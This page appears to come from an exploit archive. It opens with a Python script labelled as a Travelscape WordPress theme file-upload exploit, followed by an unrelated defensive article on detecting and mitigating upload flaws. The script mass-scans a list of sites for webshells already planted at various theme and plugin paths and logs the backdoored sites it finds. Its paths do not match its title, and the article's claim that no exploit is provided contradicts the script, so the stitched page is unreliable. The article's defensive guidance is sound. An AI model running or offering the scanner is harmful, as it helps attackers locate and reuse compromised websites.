Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload
# Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File Upload
# Date: 2024-04-01
# Author: Milad Karimi (Ex3ptionaL)
# Category : webapps
# Tested on: windows 10 , firefox
import sys
import os.path
import requests
import re
import urllib3
from requests.exceptions import SSLError
from multiprocessing.dummy import Pool as ThreadPool
from colorama import Fore, init
init(autoreset=True)
error_color = Fore.RED
info_color = Fore.CYAN
success_color = Fore.GREEN
highlight_color = Fore.MAGENTA
requests.urllib3.disable_warnings()
headers = {
'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M;
wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107
Mobile Safari/537.36',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
'Referer': 'www.google.com'
}
def URLdomain(url):
if url.startswith("http://"):
url = url.replace("http://", "")
elif url.startswith("https://"):
url = url.replace("https://", "")
if '/' in url:
url = url.split('/')[0]
return url
def check_security(url):
fg = success_color
fr = error_color
try:
url = 'http://' + URLdomain(url)
check = requests.get(url +
'/wp-content/themes/travelscape/json.php', headers=headers,
allow_redirects=True, timeout=15)
if 'MSQ_403' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('MSQ_403.txt', 'a').write(url +
'/wp-content/themes/travelscape/json.php\n')
else:
url = 'https://' + URLdomain(url)
check = requests.get(url +
'/wp-content/themes/aahana/json.php', headers=headers,
allow_redirects=True, verify=False, timeout=15)
if 'MSQ_403' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('MSQ_403.txt', 'a').write(url +
'/wp-content/themes/aahana/json.php\n')
else:
print(' -| ' + url + ' --> {}[Failed]'.format(fr))
check = requests.get(url + '/wp-content/themes/travel/issue.php',
headers=headers, allow_redirects=True, timeout=15)
if 'Yanz Webshell!' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('wso.txt', 'a').write(url +
'/wp-content/themes/travel/issue.php\n')
else:
url = 'https://' + URLdomain(url)
check = requests.get(url + '/about.php', headers=headers,
allow_redirects=True, timeout=15)
if 'Yanz Webshell!' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('wso.txt', 'a').write(url + '/about.php\n')
else:
url = 'https://' + URLdomain(url)
check = requests.get(url +
'/wp-content/themes/digital-download/new.php', headers=headers,
allow_redirects=True, timeout=15)
if '#0x2525' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('digital-download.txt', 'a').write(url +
'/wp-content/themes/digital-download/new.php\n')
else:
print(' -| ' + url + ' --> {}[Failed]'.format(fr))
url = 'http://' + URLdomain(url)
check = requests.get(url + '/epinyins.php', headers=headers,
allow_redirects=True, timeout=15)
if 'Uname:' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('wso.txt', 'a').write(url + '/epinyins.php\n')
else:
print(' -| ' + url + ' --> {}[Failed]'.format(fr))
url = 'https://' + URLdomain(url)
check = requests.get(url + '/wp-admin/dropdown.php',
headers=headers, allow_redirects=True, verify=False, timeout=15)
if 'Uname:' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('wso.txt', 'a').write(url + '/wp-admin/dropdown.php\n')
else:
url = 'https://' + URLdomain(url)
check = requests.get(url +
'/wp-content/plugins/dummyyummy/wp-signup.php', headers=headers,
allow_redirects=True, verify=False, timeout=15)
if 'Simple Shell' in check.text:
print(' -| ' + url + ' --> {}[Successfully]'.format(fg))
open('dummyyummy.txt', 'a').write(url +
'/wp-content/plugins/dummyyummy/wp-signup.php\n')
else:
print(' -| ' + url + ' --> {}[Failed]'.format(fr))
except Exception as e:
print(f' -| {url} --> {fr}[Failed] due to: {e}')
def main():
try:
url_file_path = sys.argv[1]
except IndexError:
url_file_path = input(f"{info_color}Enter the path to the file
containing URLs: ")
if not os.path.isfile(url_file_path):
print(f"{error_color}[ERROR] The specified file path is
invalid.")
sys.exit(1)
try:
urls_to_check = [line.strip() for line in open(url_file_path, 'r',
encoding='utf-8').readlines()]
except Exception as e:
print(f"{error_color}[ERROR] An error occurred while reading the
file: {e}")
sys.exit(1)
pool = ThreadPool(20)
pool.map(check_security, urls_to_check)
pool.close()
pool.join()
print(f"{info_color}Security check process completed successfully.
Results are saved in corresponding files.")
if __name__ == "__main__":
main() WordPress Theme Travelscape v1.0.3 — Arbitrary File Upload: Analysis, Detection & Mitigation
This article examines the class of arbitrary file upload vulnerabilities as they appeared in older releases of some WordPress themes (including known issues reported for themes in the same family as "Travelscape" v1.0.3). It focuses on what the vulnerability is, why it matters, how defenders can detect signs of exploitation, and concrete mitigation and hardening measures to reduce risk and recover from incidents. No exploit instructions are provided.
Vulnerability Overview
An arbitrary file upload vulnerability occurs when an application accepts files from users and writes them to a web-accessible location without sufficient validation or controls. When an attacker can upload a file containing executable code (for example, PHP), they can often trigger remote code execution (RCE) by visiting that file, leading to full site compromise.
Typical root causes include:
- Missing or weak validation of file type, MIME type, and filename.
- Allowing uploads directly into document root or theme/plugin directories.
- Failure to restrict allowed extensions and to sanitize filenames.
- Not restricting upload size, file content, or access controls on upload endpoints (AJAX handlers, JSON endpoints, admin-only APIs).
Why This Is Dangerous
- Uploaded webshells enable attackers to execute commands, exfiltrate data, and pivot to other systems.
- Compromise of WordPress can lead to theft of credentials, SEO poisoning, distribution of malware, and blacklisting by search engines.
- If themes/plugins provide upload handlers intended for images or documents but do not sanitize content, attackers can abuse them easily.
Typical Indicators of Compromise (IoCs)
Look for these signs on potentially affected installations:
- Unexpected PHP or other executable files in the uploads directory or under theme/plugin folders.
- New files with random names, suspicious timestamps, or file sizes that don’t match expected content types.
- Unusual POST requests to theme/plugin endpoints or admin-only URLs from odd IPs or user agents.
- Log entries showing execution of functions often used by webshells: eval, assert, base64_decode, system, shell_exec, passthru.
- Outbound connections from the web host to uncommon destinations (indicating command-and-control or data exfiltration).
Detection Techniques (Defensive)
- File integrity monitoring: compare checksums of theme/plugin files against known-good versions or a central baseline.
- Scan uploads and theme/plugin directories for recent PHP files, particularly in wp-content/uploads.
- Search logs for POSTs to unexpected endpoints and for requests that return 200 for newly created PHP files.
- Web application firewall (WAF) rules to block suspicious upload content, PHP tags in uploaded files, and anomalous API calls.
Immediate Mitigations
- Patch or remove affected theme versions. Apply vendor updates as a priority.
- Temporarily disable file upload features or harden access to them until a patch is deployed.
- Restrict web server permissions so uploaded files cannot execute (see examples below).
- Rotate credentials (WordPress admin, hosting panel, database, SSH) if compromise is suspected.
Secure Upload Handling: Example Patterns
The safest approach is to avoid storing user-supplied files in web-executable locations. If uploads are required, use strict checks: whitelist extensions, validate MIME type via server-side inspection, generate safe filenames, store outside webroot or block execution in the storage folder.
Example: a defensive PHP upload handler (illustrative) that validates content and stores uploads in a non-executable directory.
<?php
// Defensive file upload snippet (illustrative)
// - Use only for understanding secure patterns.
// - Deploy in an environment where uploads are required.
// - Store uploads outside public_html whenever possible.
$uploadDir = __DIR__ . '/private_uploads/'; // outside webroot is best
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0750, true);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
$file = $_FILES['file'];
// Basic error check
if ($file['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
echo 'Upload error';
exit;
}
// Enforce size limits
$maxBytes = 5 * 1024 * 1024; // 5 MB
if ($file['size'] > $maxBytes) {
http_response_code(413);
echo 'File too large';
exit;
}
// Validate MIME type using finfo (server-side)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($file['tmp_name']);
$allowed = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
'application/pdf' => 'pdf'
];
if (!array_key_exists($mime, $allowed)) {
http_response_code(415);
echo 'Unsupported file type';
exit;
}
// Generate a safe filename (random, with extension)
$ext = $allowed[$mime];
$safeName = bin2hex(random_bytes(16)) . '.' . $ext;
$destination = $uploadDir . $safeName;
// Move uploaded file and set restrictive permissions
if (move_uploaded_file($file['tmp_name'], $destination)) {
chmod($destination, 0640);
echo 'Uploaded';
} else {
http_response_code(500);
echo 'Could not save file';
}
}
?>Explanation:
- The handler stores files outside the public webroot (recommended) so uploaded content cannot be directly requested over HTTP.
- It enforces a whitelist of allowed MIME types and extensions determined server-side using finfo; this helps prevent simple extension-based bypasses.
- Files are renamed to a random, non-guessable filename to prevent direct discovery and path traversal issues.
- Permissions are restrictive (0640) and the upload directory itself should be owned by an unprivileged system user.
Prevent Execution in Uploads: Web Server Configuration
If uploads must be stored under the webroot, prevent execution of scripts in that folder. Example Apache .htaccess to deny PHP execution:
# Place in wp-content/uploads/.htaccess to prevent PHP execution
Require all denied
# Deny direct access to .htaccess itself
<Files .htaccess>
Require all denied
</Files>Explanation: This configuration blocks direct HTTP execution of files with PHP extensions in the uploads directory. Similar measures can be applied for other script types and for Nginx using location rules to return 403 for PHP files in uploads.
WordPress-Specific Hardening
- Keep WordPress core, themes, and plugins up to date. Remove unused/remnant themes and plugins.
- Disable file editing in the dashboard by adding define('DISALLOW_FILE_EDIT', true); to wp-config.php.
- Restrict file permissions: files 644, directories 755 as a baseline; wp-config.php 600 or 640 where possible.
- Run a security plugin (e.g., Wordfence, Sucuri) that provides endpoint protection, malware scanning, and rate limiting.
- Harden admin access with strong passwords, MFA, and IP restrictions where practical.
Incident Response & Recovery
- If compromise is suspected, isolate the server (take the site offline or block web access), preserve logs and disk images for forensic analysis, and do not immediately destroy evidence.
- Identify the intrusion vector: look for modified theme/plugin files, new admin accounts, and new files in uploads or theme directories.
- Restore from a known-good backup taken prior to the compromise if available. Rebuild if necessary and apply patches before reconnecting to the network.
- Rotate all credentials (WordPress admin, DB, hosting control panel, SSH keys) and audit privileged accounts.
- Implement monitoring and verify reoccurrence does not happen before lifting containment.
Risk Matrix (High-Level)
| Aspect | Impact | Priority |
|---|---|---|
| Arbitrary file upload leading to webshell | Critical (RCE, full site compromise) | Immediate |
| Unpatched theme/plugin | High (attacker gain due to known flaw) | High |
| Missing monitoring/WAF | Medium (late detection) | High |
Long-Term Best Practices
- Adopt a secure development lifecycle: reviews and automated tests for upload handlers and input validation.
- Use principle of least privilege for file and process ownership.
- Employ host- and network-based monitoring, file integrity checks, and automated backups with offline retention.
- Apply network segmentation and outbound connection controls to limit attacker actions after initial compromise.
Summary
Arbitrary file upload vulnerabilities remain one of the most impactful issues in web applications because they often lead directly to remote code execution. For administrators of WordPress sites, the practical steps are clear: patch or remove vulnerable themes/plugins, harden upload handling (store outside webroot, validate content, block execution), enforce strict permissions, and maintain robust monitoring and incident response procedures. Implement these defensive controls proactively to reduce the risk of a webshell-based compromise.